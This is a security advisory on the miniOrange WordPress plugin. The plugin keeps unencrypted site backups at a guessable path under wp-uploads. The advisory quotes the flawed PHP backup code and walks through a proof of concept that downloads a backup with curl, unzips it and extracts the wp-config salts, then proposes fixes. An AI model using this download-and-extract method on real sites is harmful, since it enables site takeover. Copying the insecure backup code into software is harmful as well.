Affected plugin | miniOrange |
Active installs | 20,000+ |
Vulnerable version | <= 5.5.82 |
Audited version | 5.5.82 |
Fully patched version | – |
Recommended remediation | Removal of the plugin |
Description
The plugin stores filesystem and database backups as unencrypted .zip archives in the wp-uploads directory. The only protection is a .htaccess file which is ignored by NGINX.
Since most web servers are configured to allow access to zip files in the wp-uploads directory, an attacker can download arbitrary backups and take over the entire site by stealing the wp-config salts.
Proof of concept
The plugin’s UI allows users to configure a schedule for encrypted “Encrypted Backups.”
However, when looking at the accountable method “MoBackupSite::wpfiles_backup,” there is no trace of encryption.
Furthermore, the plugin stores backups in a deterministic location.
wp-content/uploads/miniorangebackup/file-backups/wp_files/miniorange-wpfiles-backup-TIMESTAMP.zip
If the backup scheduling features are used, an attacker can download backups by checking for likely timestamps (hourly, daily, etc.).
function wpfiles_backup($backup_store_path, $time){
global $wpnsDbQueries;
$this->mkdirectory('wp_files');
$homepath = get_home_path();
$real_path= $homepath;
$backup_path =$backup_store_path.'miniorangebackup'.DIRECTORY_SEPARATOR.'file-backups'.DIRECTORY_SEPARATOR.'wp_files';
$filename = 'miniorange-wpfiles-backup-'.$time.'.zip';
$this->file_backup($real_path,$filename, 'wp_files');
$wpnsDbQueries->insert_backup_detail(MoWpnsConstants::WPFILES,$filename,$time,$backup_path);
}
function file_backup($real_path, $filename, $foldername){
ini_set('max_execution_time', 0);
$backup_store_path = wp_upload_dir();
$backup_store_path = $backup_store_path['basedir'].DIRECTORY_SEPARATOR.'miniorangebackup'.DIRECTORY_SEPARATOR.'file-backups'.DIRECTORY_SEPARATOR;
$rootPath = realpath($real_path);
$zip = new ZipArchive();
$res = $zip->open($backup_store_path.$foldername.DIRECTORY_SEPARATOR.$filename, ZipArchive::CREATE | ZipArchive::OVERWRITE);
$files = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($rootPath),
RecursiveIteratorIterator::LEAVES_ONLY
);
foreach ($files as $name => $file)
{
if (!$file->isDir())
{
$filePath = $file->getRealPath();
$relativePath = substr($filePath, strlen($rootPath) + 1);
if(strpos($relativePath, 'miniorangebackup')!== false ){}
else{
$zip->addFile($filePath, $relativePath);
}
}
}
$zip->close();
}
To verify this behavior:
1. Install the plugin on a site that runs NGINX and create a backup of the filesystem and database through the plugin’s UI.
2. Inspect the wp-uploads folder.
3. Locate a file that matches the above pattern. In our case, the filename is:
“wp-content/uploads/miniorangebackup/file-backups/wp_files/miniorange-wpfiles-backup-1662992734.zip“
4. Download the backup and extract the zip archive:
mkdir ./leaked
curl https://local.test/wp-content/uploads/miniorangebackup/file-backups/wp_files/miniorange-wpfiles-backup-1662992734.zip -J -L -o ./leaked/leaked.zip
cd leaked
unzip leaked.zip
cat wp-config.php | grep AUTH_SALT
define( 'AUTH_SALT', '.P&Myx8Bu%@`2^uLJ>f!t>=F3LUTd2!^Q6|RNj00*s0$^3Ye3J$=Y)EwaH(28lmC' );
define( 'SECURE_AUTH_SALT', 'pyVDn@</ D%p%pSwA5EhM`Z{eEJ1)b~th|j&({xxbz[$?snInGq.XW%;=rv#*JyA' );
At this point, the site is wholly compromised.
Proposed patch
- Users of the plugin must configure a secure location for backups outside the web root. The plugin must refuse to create backups if the backup destination is readable.
- Backups must be encrypted using a battle-tested encryption library like:
- defuse/php-encryption
- paragonie/halite
- Access to backups must be controlled by PHP code with the proper permission checks, not the web server.
Timeline
Vendor contacted | September 12, 2022 |
First Response | September 16, 2022 |
Fully patched at | – |
Publicly disclosed | April 24, 2023 |
Leave a Reply